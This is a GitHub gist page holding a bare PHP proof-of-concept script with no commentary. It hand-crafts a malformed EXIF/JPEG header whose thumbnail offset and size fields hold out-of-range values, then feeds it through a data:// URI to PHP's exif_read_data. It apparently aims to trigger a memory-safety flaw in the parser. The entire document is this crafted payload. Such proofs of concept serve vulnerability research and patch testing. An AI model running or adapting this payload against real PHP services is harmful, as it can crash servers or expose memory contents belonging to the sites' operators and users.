Skip to content

Instantly share code, notes, and snippets.

@yough3rt
Created Jun 7, 2018
Embed
What would you like to do?
<?php
$data = "\xFF\xD8";
$data .= "\xE1"; # marker
$data .= "\x03\x00"; # itermlen
$data .= "\x45\x78\x69\x66\x00\x00"; # Exif Header
$data .= "MM\x00\x2a"; # Exif thumbnail stuff
$data .= "\x00\x00\x00\xf0";
$payload = "\x00\x02";
# Entry 1 Offset
$payload .= "\x01\x11";
$payload .= "\x00\x04";
$payload .= "\x00\x00\x00\x01";
$payload .= "\xFF\xFF\x00\x01";
# Entry 2 Size
$payload .= "\x01\x17";
$payload .= "\x00\x04";
$payload .= "\x00\x00\x00\x01";
$payload .= "\x00\x00\xFF\xFF";
$payload .= "\x00\x00\xFF\xFF" . str_repeat("\xff", 0x10);
/*
$payload .= "\x01\x17";
$payload .= "\x00\x04";
$payload .= "\x00\x00\x00\x01";
$payload .= "\x88\x88\x88\x88";
*/
$data .= $payload . str_repeat("\x77", 0xe8 - strlen($payload));
$data .= "\x00\x00"; # NumDirEntries
$data .= "\x00\x00\x00\x08";
$data .= str_repeat("\x00", 0x500);
$data = base64_encode($data);
$data = "data://text/plain;base64," . $data;
$headers = exif_read_data($data, 0, True, True);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment